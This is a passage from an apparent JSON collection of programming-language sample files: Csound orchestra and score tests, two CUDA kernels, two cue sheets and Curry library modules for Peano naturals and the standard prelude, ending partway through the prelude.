\"%d  %2d  %2d\\n\", 6, @6, @@6\n  prints \"%d  %2d  %2d\\n\", 7, @7, @@7\n  prints \"%d  %2d  %2d\\n\", 8, @8, @@8\n  prints \"%d  %2d  %2d\\n\", 9, @9, @@9\nendin\n\n// Including newlines in macros can lead to confusing code.\ninstr MacroAbuse\n  if 1 == 1 then\n    prints \"on\\n\"\n#define FOO#\nBAR\n#endif // This ends the if block. It is not a preprocessor directive.\nendin\n</CsInstruments>\n<CsScore>\nf 1 0 16384 10 1\ni \"N_a_M_e_\" 0 2\ni \"TestOscillator\" 2 2\ni \"TestBitwiseNOT\" 0 1\ni \"TestBitwiseXOR\" 0 1\ni \"TestGoto\" 0 1\ni \"TestMacroPeriodSuffix\" 4 1\ni \"TestAt\" 0 1\ni \"MacroAbuse\" 0 1\ne\n</CsScore>\n</CsoundSynthesizer>\n"
  },
  {
    "path": "samples/Csound Score/allglass.sco",
    "content": "i 1 0 70.0073\ne\n"
  },
  {
    "path": "samples/Csound Score/interp.sco",
    "content": "i 1 0 7\ne\n"
  },
  {
    "path": "samples/Csound Score/test.sco",
    "content": "f 1 0 16384 10 1\ni \"N_a_M_e_\" 0 2\ni \"TestOscillator\" 2 2\ni \"TestBitwiseNOT\" 0 1\ni \"TestBitwiseXOR\" 0 1\ni \"TestGoto\" 0 1\ni \"TestMacroPeriodSuffix\" 4 1\ni \"TestAt\" 0 1\ni \"MacroAbuse\" 0 1\ne\n"
  },
  {
    "path": "samples/Cuda/scalarProd_kernel.cuh",
    "content": "__global__ void scalarProdGPU(\n    float *d_C,\n    float *d_A,\n    float *d_B,\n    int vectorN,\n    int elementN\n)\n{\n    //Accumulators cache\n    __shared__ float accumResult[ACCUM_N];\n\n    ////////////////////////////////////////////////////////////////////////////\n    // Cycle through every pair of vectors,\n    // taking into account that vector counts can be different\n    // from total number of thread blocks\n    ////////////////////////////////////////////////////////////////////////////\n    for (int vec = blockIdx.x; vec < vectorN; vec += gridDim.x)\n    {\n        int vectorBase = IMUL(elementN, vec);\n        int vectorEnd  = vectorBase + elementN;\n\n        ////////////////////////////////////////////////////////////////////////\n        // Each accumulator cycles through vectors with\n        // stride equal to number of total number of accumulators ACCUM_N\n        // At this stage ACCUM_N is only preferred be a multiple of warp size\n        // to meet memory coalescing alignment constraints.\n        ////////////////////////////////////////////////////////////////////////\n        for (int iAccum = threadIdx.x; iAccum < ACCUM_N; iAccum += blockDim.x)\n        {\n            float sum = 0;\n\n            for (int pos = vectorBase + iAccum; pos < vectorEnd; pos += ACCUM_N)\n                sum += d_A[pos] * d_B[pos];\n\n            accumResult[iAccum] = sum;\n        }\n\n        ////////////////////////////////////////////////////////////////////////\n        // Perform tree-like reduction of accumulators' results.\n        // ACCUM_N has to be power of two at this stage\n        ////////////////////////////////////////////////////////////////////////\n        for (int stride = ACCUM_N / 2; stride > 0; stride >>= 1)\n        {\n            __syncthreads();\n\n            for (int iAccum = threadIdx.x; iAccum < stride; iAccum += blockDim.x)\n                accumResult[iAccum] += accumResult[stride + iAccum];\n        }\n\n        if (threadIdx.x == 0) d_C[vec] = accumResult[0];\n    }\n}"
  },
  {
    "path": "samples/Cuda/vectorAdd.cu",
    "content": "#include <stdio.h>\n#include <cuda_runtime.h>\n\n/**\n * CUDA Kernel Device code\n *\n * Computes the vector addition of A and B into C. The 3 vectors have the same\n * number of elements numElements.\n */\n__global__ void\nvectorAdd(const float *A, const float *B, float *C, int numElements)\n{\n    int i = blockDim.x * blockIdx.x + threadIdx.x;\n\n    if (i < numElements)\n    {\n        C[i] = A[i] + B[i];\n    }\n}\n\n/**\n * Host main routine\n */\nint\nmain(void)\n{\n    // Error code to check return values for CUDA calls\n    cudaError_t err = cudaSuccess;\n\n    // Launch the Vector Add CUDA Kernel\n    int threadsPerBlock = 256;\n    int blocksPerGrid =(numElements + threadsPerBlock - 1) / threadsPerBlock;\n    vectorAdd<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, numElements);\n    err = cudaGetLastError();\n\n    if (err != cudaSuccess)\n    {\n        fprintf(stderr, \"Failed to launch vectorAdd kernel (error code %s)!\\n\", cudaGetErrorString(err));\n        exit(EXIT_FAILURE);\n    }\n\n    // Reset the device and exit\n    err = cudaDeviceReset();\n\n    return 0;\n}"
  },
  {
    "path": "samples/Cue Sheet/sample1.cue",
    "content": "REM GENRE Electronica\nREM DATE 1998\nPERFORMER \"Faithless\"\nTITLE \"Live in Berlin\"\nFILE \"Faithless - Live in Berlin.mp3\" MP3\n  TRACK 01 AUDIO\n    TITLE \"Reverence\"\n    PERFORMER \"Faithless\"\n    INDEX 01 00:00:00\n  TRACK 02 AUDIO\n    TITLE \"She's My Baby\"\n    PERFORMER \"Faithless\"\n    INDEX 01 06:42:00\n  TRACK 03 AUDIO\n    TITLE \"Take the Long Way Home\"\n    PERFORMER \"Faithless\"\n    INDEX 01 10:54:00\n  TRACK 04 AUDIO\n    TITLE \"Insomnia\"\n    PERFORMER \"Faithless\"\n    INDEX 01 17:04:00\n  TRACK 05 AUDIO\n    TITLE \"Bring the Family Back\"\n    PERFORMER \"Faithless\"\n    INDEX 01 25:44:00\n  TRACK 06 AUDIO\n    TITLE \"Salva Mea\"\n    PERFORMER \"Faithless\"\n    INDEX 01 30:50:00\n  TRACK 07 AUDIO\n    TITLE \"Dirty Old Man\"\n    PERFORMER \"Faithless\"\n    INDEX 01 38:24:00\n  TRACK 08 AUDIO\n    TITLE \"God Is a DJ\"\n    PERFORMER \"Faithless\"\n    INDEX 01 42:35:00\n"
  },
  {
    "path": "samples/Cue Sheet/sample2.cue",
    "content": "FILE \"sampleimage.bin\" BINARY\n  TRACK 01 MODE1/2352\n    INDEX 01 00:00:00\n"
  },
  {
    "path": "samples/Curry/Nat.curry",
    "content": "------------------------------------------------------------------------------\n--- Library defining natural numbers in Peano representation and\n--- some operations on this representation.\n---\n--- @author Michael Hanus\n--- @version January 2019\n------------------------------------------------------------------------------\n\nmodule Data.Nat\n  ( Nat(..), fromNat, toNat, add, sub, mul, leq\n  ) where\n\nimport Test.Prop\n\n--- Natural numbers defined in Peano representation.\n--- Thus, each natural number is constructor by a `Z` (zero)\n--- or `S` (successor) constructor.\ndata Nat = Z | S Nat\n deriving (Eq,Show)\n\n--- Transforms a natural number into a standard integer.\nfromNat :: Nat -> Int\nfromNat Z     = 0\nfromNat (S n) = 1 + fromNat n\n\n-- Postcondition: the result of `fromNat` is not negative\nfromNat'post :: Nat -> Int -> Bool\nfromNat'post _ n = n >= 0\n\n--- Transforms a standard integer into a natural number.\ntoNat :: Int -> Nat\ntoNat n | n == 0 = Z\n        | n > 0  = S (toNat (n-1))\n\n-- Precondition: `toNat` must be called with non-negative numbers\ntoNat'pre :: Int -> Bool\ntoNat'pre n = n >= 0\n\n-- Property: transforming natural numbers into integers and back is the identity\nfromToNat :: Nat -> Prop\nfromToNat n = toNat (fromNat n) -=- n\n\ntoFromNat :: Int -> Prop\ntoFromNat n = n>=0 ==> fromNat (toNat n) -=- n\n\n--- Addition on natural numbers.\nadd :: Nat -> Nat -> Nat\nadd Z     n = n\nadd (S m) n = S(add m n)\n\n-- Property: addition is commutative\naddIsCommutative :: Nat -> Nat -> Prop\naddIsCommutative x y = add x y -=- add y x\n\n-- Property: addition is associative\naddIsAssociative :: Nat -> Nat -> Nat -> Prop\naddIsAssociative x y z = add (add x y) z -=- add x (add y z)\n\n--- Subtraction defined by reversing addition.\nsub :: Nat -> Nat -> Nat\nsub x y | add y z == x  = z where z free\n\n-- Properties: subtracting a value which was added yields the same value\nsubAddL :: Nat -> Nat -> Prop\nsubAddL x y = sub (add x y) x -=- y\n\nsubAddR :: Nat -> Nat -> Prop\nsubAddR x y = sub (add x y) y -=- x\n\n--- Multiplication on natural numbers.\nmul :: Nat -> Nat -> Nat\nmul Z     _ = Z\nmul (S m) n = add n (mul m n)\n\n-- Property: multiplication is commutative\nmulIsCommutative :: Nat -> Nat -> Prop\nmulIsCommutative x y = mul x y -=- mul y x\n\n-- Property: multiplication is associative\nmulIsAssociative :: Nat -> Nat -> Nat -> Prop\nmulIsAssociative x y z = mul (mul x y) z -=- mul x (mul y z)\n\n-- Properties: multiplication is distributive over addition\ndistMulAddL :: Nat -> Nat -> Nat -> Prop\ndistMulAddL x y z = mul x (add y z) -=- add (mul x y) (mul x z)\n\ndistMulAddR :: Nat -> Nat -> Nat -> Prop\ndistMulAddR x y z = mul (add y z) x -=- add (mul y x) (mul z x)\n\n-- less-or-equal predicated on natural numbers:\nleq :: Nat -> Nat -> Bool\nleq Z     _     = True\nleq (S _) Z     = False\nleq (S x) (S y) = leq x y\n\n-- Property: adding a number yields always a greater-or-equal number\nleqAdd :: Nat -> Nat -> Prop\nleqAdd x y = always $ leq x (add x y)\n\n------------------------------------------------------------------------------\n"
  },
  {
    "path": "samples/Curry/Prelude.curry",
    "content": "--------------------------------------------------------------------------------\n--- The standard prelude of Curry with type classes.\n--- All exported functions, data types, type classes\n--- and methods defined in this module are always\n--- available in any Curry program.\n--------------------------------------------------------------------------------\n{-# LANGUAGE CPP #-}\n{-# OPTIONS_FRONTEND -Wno-incomplete-patterns -Wno-overlapping #-}\n\nmodule Prelude\n  (\n  -- * Basic Datatypes\n    Char (..), Int (..), Float (..)\n--++   , () (..), (,) (..), (,,) (..), (,,,) (..), (,,,,) (..)\n--++   , [] (..), (->) (..)\n  , Bool (..), Ordering (..), Maybe (..), Either (..)\n\n  -- * Type Classes\n  , Data(..), Eq (..) , Ord (..)\n  , Show (..), ShowS, shows, showChar, showString, showParen\n  , Read (..), ReadS, reads, readParen, read, lex\n  , Bounded (..), Enum (..)\n  -- ** Numerical Typeclasses\n  , Num (..), Fractional (..), Real (..)\n  , Integral (..), even, odd, fromIntegral, realToFrac, (^)\n  , RealFrac (..), Floating (..), Monoid (..)\n  -- Type Constructor Classes\n  , Functor (..), Applicative (..), Alternative (..)\n  , Monad (..), MonadFail(..)\n  , liftM2, sequence, sequence_, mapM, mapM_\n\n  -- * Operations on Characters\n  , isUpper, isLower, isAlpha, isDigit, isAlphaNum\n  , isBinDigit, isOctDigit, isHexDigit, isSpace\n  , ord, chr\n  , String, lines, unlines, words, unwords\n\n  -- * Operations on Lists\n  , head, tail, null, (++), length, (!!), map, foldl, foldl1, foldr, foldr1\n  , filter, zip, zip3, zipWith, zipWith3, unzip, unzip3, concat, concatMap\n  , iterate, repeat, replicate, take, drop, splitAt, takeWhile, dropWhile\n  , span, break, reverse, and, or, any, all, elem, notElem, lookup, (<$>)\n\n  -- * Evaluation\n  , ($), ($!), ($!!), ($#), ($##), seq, ensureNotFree, ensureSpine\n  , normalForm, groundNormalForm\n\n  -- * Other Functions\n  , (.), id, const, asTypeOf, curry, uncurry, flip, until\n  , (&&), (||), not, otherwise, ifThenElse, maybe, either, fst, snd\n  , failed, error\n\n  -- * IO-Type and Operations\n  , IO, getChar, getLine, putChar, putStr, putStrLn, print\n  , FilePath, readFile, writeFile, appendFile\n  , IOError (..), userError, ioError, catch\n\n  -- * Constraint Programming\n  , Success, success, solve, doSolve, (=:=), (=:<=)\n#ifdef __PAKCS__\n  , (=:<<=)\n#endif\n  , (&), (&>)\n\n  -- * Non-determinism\n  , (?), anyOf, unknown\n\n  -- * Internal Functions\n  , apply, cond\n#ifdef __PAKCS__\n  , letrec, failure\n#endif\n  ) where\n\ninfixr 9 .\ninfixl 9 !!\ninfixl 7 *, /, `div`, `mod`, `quot`, `rem`\ninfixl 6 +, -\ninfixr 5 ++\n--++ The (:) operator is built-in syntax with the following fixity:\n--++ infixr 5 :\ninfix  4 ==, /=, <, >, <=, >=\ninfix  4 =:=, =:<=, ===\n#ifdef __PAKCS__\ninfix  4 =:<<=\n#endif\ninfix  4 `elem`, `notElem`\ninfixl 4 <$, <$>, <*>, <*, *>\ninfixl 3 <|>\ninfixr 3 &&\ninfixr 2 ||\ninfixl 1 >>, >>=\ninfixr 0 ?, $, $!, $!!, $#, $##, `seq`, &, &>\n\nexternal data Char\n\nexternal data Int\n\nexternal data Float\n\ndata Bool = False | True\n\ndata Ordering = LT | EQ | GT\n\n------------------------------------------------------------------------------\n--++ data () = ()\n\n--++ data (a, b) = (a, b)\n--++ data (a, b, c) = (a, b, c)\n--++ data (a, b, c, d) = (a, b, c, d)\n--++ data (a, b, c, d, e) = (a, b, c, d, e)\n--++ ...\n\n--++ data [a] = [] | a : [a]\n\n--++ data (->) a b\n\nclass Data a where\n  (===)  :: a -> a -> Bool\n  aValue :: a\n\ninstance Data Char where\n  (===) = (==)\n  aValue = aValueChar\n\ninstance Data Int where\n  (===) = (==)\n  aValue = aValueInt\n\ninstance Data Float where\n  (===) = (==)\n  aValue = aValueFloat\n\ninstance Data a => Data [a] where\n  []     === []     = True\n  []     === (_:_)  = False\n  (_:_)  === []     = False\n  (x:xs) === (y:ys) = x === y && xs === ys\n\n  aValue = [] ? (aValue:aValue)\n\ninstance Data () where\n  () === () = True\n  aValue = ()\n\ninstance (Data a, Data b) => Data (a, b) where\n  (a1, b1) === (a2, b2) = a1 === a2 && b1 === b2\n  aValue = (aValue, aValue)\n\ninstance (Data a, Data b, Data c) => Data (a, b, c) where\n  (a1, b1, c1) === (a2, b2, c2) = a1 === a2 && b1 === b2 && c1 === c2\n  aValue = (aValue, aValue, aValue)\n\ninstance (Data a, Data b, Data c, Data d) => Data (a, b, c, d) where\n  (a1, b1, c1, d1) === (a2, b2, c2, d2) =\n    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2\n  aValue = (aValue, aValue, aValue, aValue)\n\ninstance (Data a, Data b, Data c, Data d, Data e) => Data (a, b, c, d, e) where\n  (a1, b1, c1, d1, e1) === (a2, b2, c2, d2, e2) =\n    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2 && e1 === e2\n  aValue = (aValue, aValue, aValue, aValue, aValue)\n\ninstance (Data a, Data b, Data c, Data d, Data e, Data f) =>\n         Data (a, b, c, d, e, f) where\n  (a1, b1, c1, d1, e1, f1) === (a2, b2, c2, d2, e2, f2) =\n    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2 && e1 === e2 && f1 === f2\n  aValue = (aValue, aValue, aValue, aValue, aValue, aValue)\n\ninstance (Data a, Data b, Data c, Data d, Data e, Data f, Data g) =>\n         Data (a, b, c, d, e, f, g) where\n  (a1, b1, c1, d1, e1, f1, g1) === (a2, b2, c2, d2, e2, f2, g2) =\n    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2 && e1 === e2 &&\n    f1 === f2 && g1 === g2\n  aValue = (aValue, aValue, aValue, aValue, aValue, aValue, aValue)\n\n-- Value generator for integers.\naValueInt :: Int\naValueInt = genPos 1 ? 0  ?  0 - genPos 1\n where\n  genPos n = n  ?  genPos (2 * n)  ?  genPos (2 * n + 1)\n\n-- Value generator for chars.\naValueChar :: Char\naValueChar = foldr1 (?) [minBound .. maxBound]\n\n-- Value generator for floats.\n-- Since there is no good way to enumerate floats, a free variable\n-- is returned.\naValueFloat :: Float\naValueFloat = x where x free\n\n------------------------------------------------------------------------------\n\nclass Eq a where\n  (==), (/=) :: a -> a -> Bool\n\n  x == y = not (x /= y)\n  x /= y = not (x == y)\n\ninstance Eq Char where\n  c == c' = c `eqChar` c'\n\ninstance Eq Int where\n  i == i' = i `eqInt` i'\n\ninstance Eq Float where\n  f == f' = f `eqFloat` f'\n\ninstance Eq () where\n  () == () = True\n\ninstance (Eq a, Eq b) => Eq (a, b) where\n  (a, b) == (a', b') = a == a' && b == b'\n\ninstance (Eq a, Eq b, Eq c) => Eq (a, b, c) where\n  (a, b, c) == (a', b', c') = a == a' && b == b' && c == c'\n\ninstance (Eq a, Eq b, Eq c, Eq d) => Eq (a, b, c, d) where\n  (a, b, c, d) == (a', b', c', d') = a == a' && b == b' && c == c' && d == d'\n\ninstance (Eq a, Eq b, Eq c, Eq d, Eq e) => Eq (a, b, c, d, e) where\n  (a, b, c, d, e) == (a', b', c', d', e') =\n    a == a' && b == b' && c == c' && d == d' && e == e'\n\ninstance Eq a => Eq [a] where\n  []     == []     = True\n  []     == (_:_)  = False\n  (_:_)  == []     = False\n  (x:xs) == (y:ys) = x == y && xs == ys\n\ninstance Eq Bool where\n  False == False = True\n  False == True  = False\n  True  == False = False\n  True  == True  = True\n\ninstance Eq Ordering where\n  LT == LT = True\n  LT == EQ = False\n  LT == GT = False\n  EQ == LT = False\n  EQ == EQ = True\n  EQ == GT = False\n  GT == LT = False\n  GT == EQ = False\n  GT == GT = True\n\n-- Equality on characters.\neqChar :: Char -> Char -> Bool\n#ifdef __KICS2__\neqChar external\n#elif defined(__PAKCS__)\neqChar x y = (prim_eqChar $# y) $# x\n\nprim_eqChar :: Char -> Char -> Bool\nprim_eqChar external\n#endif\n\n-- Equality on integers.\neqInt :: Int -> Int -> Bool\n#ifdef __KICS2__\neqInt external\n#elif defined(__PAKCS__)\neqInt x y = (prim_eqInt $# y) $# x\n\nprim_eqInt :: Int -> Int -> Bool\nprim_eqInt external\n#endif\n\n-- Equality on floating point numbers.\neqFloat :: Float -> Float -> Bool\n#ifdef __KICS2__\neqFloat external\n#elif defined(__PAKCS__)\neqFloat x y = (prim_eqFloat $# y) $# x\n\nprim_eqFloat :: Float -> Float -> Bool\nprim_eqFloat external\n#endif\n\n\nclass Eq a => Ord a where\n  compare :: a -> a -> Ordering\n  (<), (>), (<=), (>=) :: a -> a -> Bool\n  min, max :: a -> a -> a\n\n  compare x y | x == y = EQ\n              | x <= y = LT\n              | otherwise = GT\n  x < y = x <= y && x /= y\n  x > y = not (x <= y)\n  x <= y = compare x y == EQ || compare x y == LT\n  x >= y = y <= x\n  min x y | x <= y = x\n          | otherwise = y\n  max x y | x >= y = x\n          | otherwise = y\n\ninstance Ord Char where\n  c1 <= c2 = c1 `ltEqChar` c2\n\ninstance Ord Int where\n  i1 <= i2 = i1 `ltEqInt` i2\n\ninstance Ord Float where\n  f1 <= f2 = f1 `ltEqFloat` f2\n\ninstance Ord () where\n  () <= () = True\n\ninstance (Ord a, Ord b) => Ord (a, b) where\n  (a, b) <= (a', b') = a < a' || (a == a' && b <= b')\n\ninstance (Ord a, Ord b, Ord c) => Ord (a, b, c) where\n  (a, b, c) <= (a', b', c') = a < a'\n    || (a == a' && b < b')\n    || (a == a' && b == b' && c <= c')\n\ninstance (Ord a, Ord b, Ord c, Ord d) => Ord (a, b, c, d) where\n  (a, b, c, d) <= (a', b', c', d') = a < a'\n    || (a == a' && b < b')\n    || (a == a' && b == b' && c < c')\n    || (a == a' && b == b' && c == c' && d <= d')\n\ninstance (Ord a, Ord b, Ord c, Ord d, Ord e) => Ord (a, b, c, d, e) where\n  (a, b, c, d, e) <= (a', b', c', d', e') = a < a'\n    || (a == a' && b < b')\n    || (a == a' && b == b' && c < c')\n    || (a == a' && b == b' && c == c' && d < d')\n    || (a == a' && b == b' && c == c' && d == d' && e <= e')\n\ninstance Ord a => Ord [a] where\n  []     <= []     = True\n  (_:_)  <= []     = False\n  []     <= (_:_)  = True\n  (x:xs) <= (y:ys) | x == y    = xs <= ys\n                   | otherwise = x < y\n\ninstance Ord Bool where\n  False <= False = True\n  False <= True  = True\n  True  <= False = False\n  True  <= True  = True\n\ninstance Ord Ordering where\n  LT <= LT = True\n  LT <= EQ = True\n  LT <= GT = True\n  EQ <= LT = False\n  EQ <= EQ = True\n  EQ <= GT = True\n  GT <= LT = False\n  GT <= EQ = False\n  GT <= GT = True\n\n-- Compares two characters.\nltEqChar :: Char -> Char -> Bool\n#ifdef __KICS2__\nltEqChar external\n#elif defined(__PAKCS__)\nltEqChar x y = (prim_ltEqChar $# y) $# x\n\nprim_ltEqChar :: Char -> Char -> Bool\nprim_ltEqChar external\n#endif\n\n-- Compares two integers.\nltEqInt :: Int -> Int -> Bool\n#ifdef __KICS2__\nltEqInt external\n#elif defined(__PAKCS__)\nltEqInt x y = (prim_ltEqInt $# y) $# x\n\nprim_ltEqInt :: Int -> Int -> Bool\nprim_ltEqInt external\n#endif\n\n-- Compares two floating point numbers.\nltEqFloat :: Float -> Float -> Bool\n#ifdef __KICS2__\nltEqFloat external\n#elif defined(__PAKCS__)\nltEqFloat x y = (prim_ltEqFloat $# y) $# x\n\nprim_ltEqFloat :: Float -> Float -> Bool\nprim_ltEqFloat external\n#endif\n\ntype ShowS = String -> String\n\nclass Show a where\n  show :: a -> String\n  showsPrec :: Int -> a -> ShowS\n  showList :: [a] -> ShowS\n\n  show x = shows x \"\"\n  showsPrec _ x s = show x ++ s\n  showList = showListDefault\n\ninstance Show Char where\n  showsPrec _ c = showString (showCharLiteral c)\n  showList cs | null cs   = showString \"\\\"\\\"\"\n              | otherwise = showString (showStringLiteral cs)\n\ninstance Show Int where\n  showsPrec = showSigned (showString . showIntLiteral)\n\ninstance Show Float where\n  showsPrec = showSigned (showString . showFloatLiteral)\n\ninstance Show () where\n  showsPrec _ () = showString \"()\"\n\ninstance (Show a, Show b) => Show (a, b) where\n  showsPrec _ (a, b) = showTuple [shows a, shows b]\n\ninstance (Show a, Show b, Show c) => Show (a, b, c) where\n  showsPrec _ (a, b, c) = showTuple [shows a, shows b, shows c]\n\ninstance (Show a, Show b, Show c, Show d) => Show (a, b, c, d) where\n  showsPrec _ (a, b, c, d) = showTuple [shows a, shows b, shows c, shows d]\n\ninstance (Show a, Show b, Show c, Show d, Show e) => Show (a, b, c, d, e) where\n  showsPrec _ (a, b, c, d, e) =\n    showTuple [shows a, shows b, shows c, shows d, shows e]\n\ninstance Show a => Show [a] where\n  showsPrec _ = showList\n\ninstance Show Bool where\n  showsPrec _ False = showString \"False\"\n  showsPrec _ True  = showString \"True\"\n\ninstance Show Ordering where\n  showsPrec _ LT = showString \"LT\"\n  showsPrec _ EQ = showString \"EQ\"\n  showsPrec _ GT = showString \"GT\"\n\nshows :: Show a => a -> ShowS\nshows = showsPrec 0\n\nshowChar :: Char -> ShowS\nshowChar = (:)\n\nshowString :: String -> ShowS\nshowString str s = foldr showChar s str\n\nshowListDefault :: Show a => [a] -> ShowS\nshowListDefault []     s = \"[]\" ++ s\nshowListDefault (x:xs) s = '[' : shows x (showl xs)\n where showl []     = ']' : s\n       showl (y:ys) = ',' : shows y (showl ys)\n\nshowParen :: Bool -> ShowS -> ShowS\nshowParen b s = if b then showChar '(' . s . showChar ')' else s\n\nshowSigned :: Real a => (a -> ShowS) -> Int -> a -> ShowS\nshowSigned showPos p x\n  | x < 0     = showParen (p > 6) (showChar '-' . showPos (-x))\n  | otherwise = showPos x\n\nshowTuple :: [ShowS] -> ShowS\nshowTuple ss = showChar '('\n             . foldr1 (\\s r -> s . showChar ',' . r) ss\n             . showChar ')'\n\n-- Returns the string representation of a character.\nshowCharLiteral :: Char -> String\nshowCharLiteral x = prim_showCharLiteral $## x\n\nprim_showCharLiteral :: Char -> String\nprim_showCharLiteral external\n\n-- Returns the string representation of a string.\nshowStringLiteral :: String -> String\nshowStringLiteral x = prim_showStringLiteral $## x\n\nprim_showStringLiteral :: String -> String\nprim_showStringLiteral external\n\n-- Returns the string representation of an integer.\nshowIntLiteral :: Int -> String\nshowIntLiteral x = prim_showIntLiteral $## x\n\nprim_showIntLiteral :: Int -> String\nprim_showIntLiteral external\n\n-- Returns the string representation of a floating point number.\nshowFloatLiteral :: Float -> String\nshowFloatLiteral x = prim_showFloatLiteral $## x\n\nprim_showFloatLiteral :: Float -> String\nprim_showFloatLiteral external\n\ntype ReadS a = String -> [(a, String)]\n\nclass Read a where\n  readsPrec :: Int -> ReadS a\n  readList :: ReadS [a]\n\n  readList = readListDefault\n\ninstance Read Char where\n  readsPrec _ = readParen False\n                  (\\s -> [ (c, t) | (x, t) <- lex s, not (null x)\n                                  , head x == '\\''\n                                  , (c, []) <- readCharLiteral x ])\n  readList xs = readParen False\n                  (\\s -> [ (cs, t) | (x, t) <- lex s, not (null x)\n                                   , head x == '\"'\n                                   , (cs, []) <- readStringLiteral x ]) xs\n                ++ readListDefault xs\n\ninstance Read Int where\n  readsPrec _ = readSigned (\\s -> [ (i, t) | (x, t) <- lexDigits s\n                                           , (i, []) <- readNatLiteral x ])\n\ninstance Read Float where\n  readsPrec _ = readSigned\n                  (\\s -> [ (f, t) | (x, t) <- lex s, not (null x)\n                                  , isDigit (head x), (f, []) <- readFloat x ])\n   where\n    readFloat x = if all isDigit x\n                    then [(fromInt i, t) | (i, t) <- readNatLiteral x]\n                    else readFloatLiteral x\n\ninstance Read () where\n  readsPrec _ = readParen False (\\r -> [ ((), t) | (\"(\", s) <- lex r\n                                                 , (\")\", t) <- lex s ])\n\ninstance (Read a, Read b) => Read (a, b) where\n  readsPrec _ = readParen False (\\r -> [ ((a, b), w) | (\"(\", s) <- lex r\n                                                     , (a, t) <- reads s\n                                                     , (\",\", u) <- lex t\n                                                     , (b, v) <- reads u\n                                                     , (\")\", w) <- lex v ])\n\ninstance (Read a, Read b, Read c) => Read (a, b, c) where\n  readsPrec _ = readParen False (\\r -> [ ((a, b, c), y) | (\"(\", s) <- lex r\n                                                        , (a, t) <- reads s\n                                                        , (\",\", u) <- lex t\n                                                        , (b, v) <- reads u\n                                                        , (\",\", w) <- lex v\n                                                        , (c, x) <- reads w\n                                                        , (\")\", y) <- lex x ])\n\ninstance (Read a, Read b, Read c, Read d) => Read (a, b, c, d) where\n  readsPrec _ = readParen False\n                  (\\q -> [ ((a, b, c, d), z) | (\"(\", r) <- lex q\n                                             , (a, s) <- reads r\n                                             , (\",\", t) <- lex s\n                                             , (b, u) <- reads t\n                                             , (\",\", v) <- lex u\n                                             , (c, w) <- reads v\n                                             , (\",\", x) <- lex w\n                                             , (d, y) <- reads x\n                                             , (\")\", z) <- lex y ])\n\ninstance (Read a, Read b, Read c, Read d, Read e) => Read (a, b, c, d, e) where\n  readsPrec _ = readParen False\n                  (\\o -> [ ((a, b, c, d, e), z) | (\"(\", p) <- lex o\n                                                , (a, q) <- reads p\n                                                , (\",\", r) <- lex q\n                                                , (b, s) <- reads r\n                                                , (\",\", t) <- lex s\n                                                , (c, u) <- reads t\n                                                , (\",\", v) <- lex u\n                                                , (d, w) <- reads v\n                                                , (\",\", x) <- lex w\n                                                , (e, y) <- reads x\n                                                , (\")\", z) <- lex y ])\n\ninstance Read a => Read [a] where\n  readsPrec _ = readList\n\ninstance Read Bool where\n  readsPrec _ r =\n    readParen False (\\s -> [(False, t) | (\"False\", t) <- lex s]) r ++\n      readParen False (\\s -> [(True, t) | (\"True\", t) <- lex s]) r\n\ninstance Read Ordering where\n  readsPrec _ r =\n    readParen False (\\s -> [(LT, t) | (\"LT\", t) <- lex s]) r ++\n      readParen False (\\s -> [(EQ, t) | (\"EQ\", t) <- lex s]) r ++\n      readParen False (\\s -> [(GT, t) | (\"GT\", t) <- lex s]) r\n\nreads :: Read a => ReadS a\nreads = readsPrec 0\n\nreadListDefault :: Read a => ReadS [a]\nreadListDefault = readParen False (\\r -> [pr | (\"[\",s) <- lex r, pr <- readl s])\n where readl s = [([], t) | (\"]\", t) <- lex s] ++\n                   [(x : xs, u) | (x, t) <- reads s, (xs, u) <- readl' t]\n       readl' s = [([], t) | (\"]\", t) <- lex s] ++\n                   [ (x : xs, v) | (\",\", t)  <- lex s, (x, u) <- reads t\n                                 , (xs,v) <- readl' u ]\n\nreadParen :: Bool -> ReadS a -> ReadS a\nreadParen b g = if b then mandatory else optional\n where optional r = g r ++ mandatory r\n       mandatory r =\n         [(x, u) | (\"(\", s) <- lex r, (x, t) <- optional s, (\")\", u) <- lex t]\n\nreadSigned :: Real a => ReadS a -> ReadS a\nreadSigned p = readParen False read'\n where read' r = read'' r ++ [(-x, t) | (\"-\", s) <- lex r, (x, t) <- read'' s]\n       read'' r = [(n, s) | (str, s) <- lex r, (n, \"\") <- p str]\n\nread :: Read a => String -> a\nread s =  case [x | (x, t) <- reads s, (\"\", \"\") <- lex t] of\n  [x] -> x\n\nlex :: ReadS String\nlex xs = case xs of\n  \"\"                  -> [(\"\", \"\")]\n  (c:cs) | isSpace c  -> lex $ dropWhile isSpace cs\n  ('\\'':s)            ->\n    [('\\'' : ch ++ \"'\", t) | (ch, '\\'' : t)  <- lexCharLiteral s, ch /= \"'\"]\n  ('\"':s)             -> [('\"' : str, t) | (str, t) <- lexString s]\n  (c:cs) | isSingle c -> [([c], cs)]\n         | isSymbol c -> [(c : sym, t) | (sym, t) <- [span isSymbol cs]]\n         | isAlpha c  -> [(c : nam, t) | (nam, t) <- [span isIdChar cs]]\n         | isDigit c  -> [ (c : ds ++ fe, t) | (ds, s) <- [span isDigit cs]\n                                             , (fe, t) <- lexFracExp s ]\n         | otherwise  -> []\n where\n  isSingle c = c `elem` \",;()[]{}_`\"\n  isSymbol c = c `elem` \"!@#$%&*+./<=>?\\\\^|:-~\"\n  isIdChar c = isAlphaNum c || c `elem` \"_'\"\n  lexFracExp s = case s of\n    ('.':c:cs) | isDigit c ->\n      [('.' : ds ++ e, u) | (ds, t) <- lexDigits (c : cs), (e, u) <- lexExp t]\n    _                      -> lexExp s\n  lexExp s = case s of\n    (e:cs) | e `elem` \"eE\" ->\n      [ (e : c : ds, u) | (c:t) <- [cs], c `elem` \"+-\"\n                        , (ds, u) <- lexDigits t ] ++\n        [(e : ds, t) | (ds, t) <- lexDigits cs]\n    _                      -> [(\"\", s)]\n  lexString s = case s of\n    ('\"':cs) -> [(\"\\\"\", cs)]\n    _        -> [ (ch ++ str, u) | (ch, t) <- lexStringItem s\n                                  , (str, u) <- lexString t ]\n  lexStringItem s = case s of\n    ('\\\\':'&':cs)           -> [(\"\\\\&\", cs)]\n    ('\\\\':c:cs) | isSpace c -> [(\"\\\\&\", t) | '\\\\':t <- [dropWhile isSpace cs]]\n    _                       -> lexCharLiteral s\n\nlexCharLiteral :: ReadS 